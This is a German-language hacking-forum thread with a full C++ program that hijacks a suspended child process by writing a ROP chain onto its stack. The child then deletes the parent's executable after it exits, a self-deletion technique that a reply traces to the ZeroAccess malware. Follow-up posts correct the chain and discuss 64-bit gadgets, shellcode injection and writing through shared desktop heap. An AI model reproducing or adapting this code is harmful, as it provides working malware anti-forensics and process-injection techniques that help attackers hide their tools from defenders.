Ergebnis 1 bis 9 von 9
  1. #1
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard Self-deletion on win

    Code:
    // runpe test.cpp : Defines the entry point for the console application.//
    
    
    #include <windows.h>
    #include <cstdio>
    #include <ntdll.h>
    #include <stddef.h>
    #pragma comment(lib, "ntdll.lib")
    
    
    #define INVALID_HANDLE(h) (INVALID_HANDLE_VALUE == (h) || NULL == (h))
    
    
    HANDLE get_current_file_handle()
    {
    	WCHAR fileNameString[MAX_PATH] = {0};
    	UNICODE_STRING fileName = {0};
    	OBJECT_ATTRIBUTES obj = {0};
    	HANDLE fileHandle = INVALID_HANDLE_VALUE;
    	IO_STATUS_BLOCK io = {0};
    	NTSTATUS status;
    
    
    	GetModuleFileName(NULL, fileNameString, _countof(fileNameString));
    	if(!RtlDosPathNameToNtPathName_U(fileNameString, &fileName, NULL, NULL))
    		return INVALID_HANDLE_VALUE;
    	InitializeObjectAttributes(&obj, &fileName, OBJ_CASE_INSENSITIVE, 0, NULL);
    
    
    	status = NtOpenFile(&fileHandle, DELETE, &obj, &io, 
    		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    		FILE_SUPERSEDE);
    	if(NT_ERROR(status))
    	{
    		printf("status = %X\n", status);
    		return INVALID_HANDLE_VALUE;
    	}	
    	
    	return fileHandle;
    }
    
    
    /*
    	\brief Writes the ROP chain at address.
    		The chain MUST start execution at NtWaitForSingleObject.
    		It will :
    		- Wait until this process has terminated.
    		- Then close the handle to this process.
    		- Mark the file of this process for deletion
    		- Close the handle to this file - which will trigger the
    		deletion.
    		- Exit.
    	\param process Process to write to
    	\param address Address to write to.
    	\fixme Maybe don't delete but overwrite with trash?
    */
    bool write_ROP_chain(HANDLE process, DWORD address)
    {
    	HANDLE duplicatedProcessHandle = INVALID_HANDLE_VALUE,
    		fileHandle = INVALID_HANDLE_VALUE;
    	DWORD written = 0;
    	bool success = false;
    	NTSTATUS status = ERROR_SUCCESS;
    	DWORD ropChain[] = {
    		// EIP = NtWaitForSingleObject
    		(DWORD)&NtClose,						// Return address 
    		0,										// Own process handle
    		FALSE,									// Alertable
    		NULL,									// Timeout
    		// EIP = NtClose
    		(DWORD)&NtSetInformationFile,			// Return address
    		0,										// Own process handle
    		// EIP = NtSetInformationFile
    		(DWORD)&NtClose,						// Return addr
    		0,										// File handle
    		0,										// Pointer to IoStatusBlock
    		0,										// Pointer to FileInformation
    		sizeof(FILE_DISPOSITION_INFORMATION),	// Length
    		FileDispositionInformation,				// FILE_INFORMATION_CLASS
    		// EIP = NtClose
    		(DWORD)&RtlExitUserThread,				// Ret. addr
    		0,										// File handle
    		// EIP = RtlExitUserThread
    		STATUS_CANNOT_DELETE,					// Shutdown reason
    
    
    		// FILE_DISPOSITION_INFORMATION structure
    		TRUE,
    	};
    
    
    	if(INVALID_HANDLE(process) || !address)
    		return false;
    	
    	// Duplicate current process handle so the other process can wait on it
    	if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), GetCurrentProcess(), process, 
    		&duplicatedProcessHandle, 0, 0, DUPLICATE_SAME_ACCESS)))
    	{
    		printf("Can't duplicate process handle: %X\n", status);
    		goto EXIT;
    	}
    	ropChain[1] = (DWORD)duplicatedProcessHandle; // NtWaitForSingleObject
    	ropChain[5] = (DWORD)duplicatedProcessHandle; // NtClose
    
    
    	if(INVALID_HANDLE_VALUE == (fileHandle = get_current_file_handle()))
    	{
    		printf("Can't get file handle: %X\n", GetLastError());
    		goto EXIT;
    	}
    
    
    	// This duplicates and closes the local handle of this file
    	if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), fileHandle, process, &fileHandle, 
    		0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)))
    	{
    		printf("Can't duplicate file handle: %X\n", status);
    		goto EXIT;
    	}
    	ropChain[7] = (DWORD)fileHandle; // NtSetInformationFile
    	ropChain[13] = (DWORD)fileHandle; // NtClose
    
    
    	/* Setup IO_STATUS_BLOCK for NtSetInformationFile. As at this point a 
    		large enough portion of the ROP chain has been executed and IO_STATUS_BLOCK
    		needs no special values so just use the top of chain */
    	ropChain[8] = (DWORD)address;
    
    
    	/* FileDispositionInformation needs a TRUE so we just add one at the
    		end of the ROP chain and make a pointer to it. */
    	ropChain[9] = (DWORD)address + (sizeof(ropChain) - sizeof(FILE_DISPOSITION_INFORMATION));
    
    
    	if(!WriteProcessMemory(process, (LPVOID)address, ropChain, sizeof(ropChain), &written) ||
    		sizeof(ropChain) != written)
    	{
    		printf("Couldn't write: %X\n", GetLastError());
    		goto EXIT;
    	}
    
    
    	success = true;
    EXIT:
    	return success;
    }
    
    
    
    
    void entry()
    {
    	CONTEXT ctx = {0};
    	_PROCESS_INFORMATION pi = {0};
    	STARTUPINFOA si = {0};
    	const char* FILE_TO_EXECUTE = "main.exe";
    	bool success = false;
    
    
    	si.cb = sizeof(STARTUPINFOA);
    	if(!CreateProcessA(FILE_TO_EXECUTE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
    		goto EXIT;
    
    
    	ctx.ContextFlags = CONTEXT_ALL;
    	if(!GetThreadContext(pi.hThread, &ctx))
    	{
    		printf("Can't get thread context\n");
    		goto FINISH_OTHER_PROCESS;
    	}
    
    
    	printf("EAX: %X\tESP: %X\tEIP: %X\n", ctx.Eax, ctx.Esp, ctx.Eip);
    	
    	/* ROP chain needs a certain size so just round ESP down to
    		page boundary - which is enough */
    	ctx.Esp &= ~0xFFF;
    	if(!write_ROP_chain(pi.hProcess, ctx.Esp))
    	{
    		printf("Can't overwrite stack\n");
    		goto FINISH_OTHER_PROCESS;
    	}
    
    
    	ctx.Eip = (DWORD)&NtWaitForSingleObject;
    	if(!SetThreadContext(pi.hThread, &ctx))
    	{
    		printf("Can't set thread context\n");
    		goto FINISH_OTHER_PROCESS;
    	}
    
    
    	success = true;
    
    
    FINISH_OTHER_PROCESS:
    	if(success)
    	{
    		ResumeThread(pi.hThread);
    
    
    		/* For debugging this can be uncommented so you have time to
    			attach to the other process. 
    		WaitForSingleObject(pi.hProcess, INFINITE); */
    	}
    	else
    	{
    		TerminateProcess(pi.hProcess, 0);
    	}
    
    
    CLEANUP:
    	CloseHandle(pi.hThread);
    	CloseHandle(pi.hProcess);
    EXIT:
    	ExitProcess(0);
    }

  2. #2
    Tron Avatar von hoschi111
    Registriert seit
    11.12.2007
    Beiträge
    888

    Standard AW: Self-deletion on win

    Bin kein C/Cpp'ler, aber sind "GOTOs" nicht ein "No-Go"?
    #Wortwitz ist gewollt
    In case of fire: 1. git commit, 2. git push, 3. git out!

  3. #3
    Capt'n Crunch
    Registriert seit
    10.07.2008
    Beiträge
    999
    bitcoin. Banking Is Necessary. Banks Are Not. - by Lincoln6Echo

    Das ganze Mysql usw is mir zu viel arbeit um es zu lernen

  4. #4
    Anfänger
    Registriert seit
    05.10.2015
    Beiträge
    5

    Standard AW: Self-deletion on win

    Zitat Zitat von hoschi111 Beitrag anzeigen
    Bin kein C/Cpp'ler, aber sind "GOTOs" nicht ein "No-Go"?
    #Wortwitz ist gewollt
    Manchmal ist es legit:

    https://www.kernel.org/doc/Documentation/CodingStyle
    Chapter 7: Centralized exiting of functions...
    The rationale for using gotos is:

    - unconditional statements are easier to understand and follow
    - nesting is reduced
    - errors by not updating individual exit points when making
    modifications are prevented
    - saves the compiler work to optimize redundant code away
    ...

    Der Code scheint von ZeroAccess zu sein:
    http://zwclose7.createaforum.com/mal...tion-function/

  5. #5
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard AW: Self-deletion on win

    Richtig, beide snippets sind von mir (war aber nicht schwer, der [f-secure Artikel](https://www.f-secure.com/weblog/archives/00002385.html) ist ja fast c&p bereit) und ich hab hier einfach mal die erste Version gepostet

  6. #6
    Anfänger
    Registriert seit
    22.05.2015
    Beiträge
    21

    Standard AW: Self-deletion on win

    In dem obrigen Code ist ein Fehler in der Chain drin. Aber den hast du wohl mit Absicht reingemacht um c&p auszuschließen?

    Naja ist ja alles sehr elegant. Nur doof das man einen 32bit Prozess braucht... Auf einem 64-bit Windows kann das ein Problem sein. Den Code für 64bit fit machen ist nicht möglich weil andere Aufrufkonvention...

    Fazit: Batch Skript ist immer noch sehr attraktiv ;-)

  7. #7
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard AW: Self-deletion on win

    Tatsache, war mir gar nicht mehr bewusst. Immer noch nicht c&p fertig (aber es sollte erkennbar sein was zu ändern ist):
    Code:
    DWORD ropChain[] = {		// EIP = NtWaitForSingleObject
    		(DWORD)&NtClose,						// Return address 
    		(DWORD)duplicatedProcessHandle,			// Own process handle
    		FALSE,									// Alertable
    		NULL,									// Timeout
    		// EIP = NtClose
    		(DWORD)&NtSetInformationFile,			// Return address
    		(DWORD)duplicatedProcessHandle,			// Own process handle
    		// EIP = NtSetInformationFile
    		(DWORD)&NtClose,						// Return addr
    		(DWORD)duplicatedFileHandle,			// File handle
    		(DWORD)addressForROP,					// Pointer to IoStatusBlock
    												// See above.
    		(DWORD)addressForROP,					// Pointer to FileInformation
    												// Just needs a TRUE value
    		sizeof(FILE_DISPOSITION_INFORMATION),	// Length
    		FileDispositionInformation,				// FILE_INFORMATION_CLASS
    		// EIP = NtClose
    		(DWORD)&RtlExitUserThread,				// Ret. addr
    		(DWORD)duplicatedFileHandle,			// File handle
    		// EIP = RtlExitUserThread
    		STATUS_CANNOT_DELETE,					// Shutdown reason
    	};
    Das mit den Calling-conventionen stimmt nicht unbedingt. Ich hab es ehrlich gesagt nicht ausprobiert aber vielleicht gibt es
    Code:
    mov rcx, [rsp + 8]
    ret
    
    pop rdx 
    
    RET
    und ähnliches (natürlich auch für r8 & r9) womit es dann doch möglich wäre.

  8. #8
    Anfänger
    Registriert seit
    22.05.2015
    Beiträge
    21

    Standard AW: Self-deletion on win

    Ja gibt es bestimmt, aber dadurch wird es viel komplizierter und man muss die ROP gadgets dynamisch suchen um OS unabhängig zu sein....

    Letztendlich wäre shellcode in C schreiben viel einfacher und weniger fehleranfällig, denn man dann auch injected und EIP/RIP umbiegt.

  9. #9
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard AW: Self-deletion on win

    Absolut, wäre es, keine Frage. Allerdings hatte ich geplant WPM durch Sections zu erstetzen oder besser noch über Shared Desktop Heap zu injecten - auch um mal zu testen ob es Probleme gibt wenn nur "Daten" in einen anderen Prozess geschrieben werden und niemals ausführbare Seiten.
    Ist aus Faulheit aber nichts draus geworden...

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •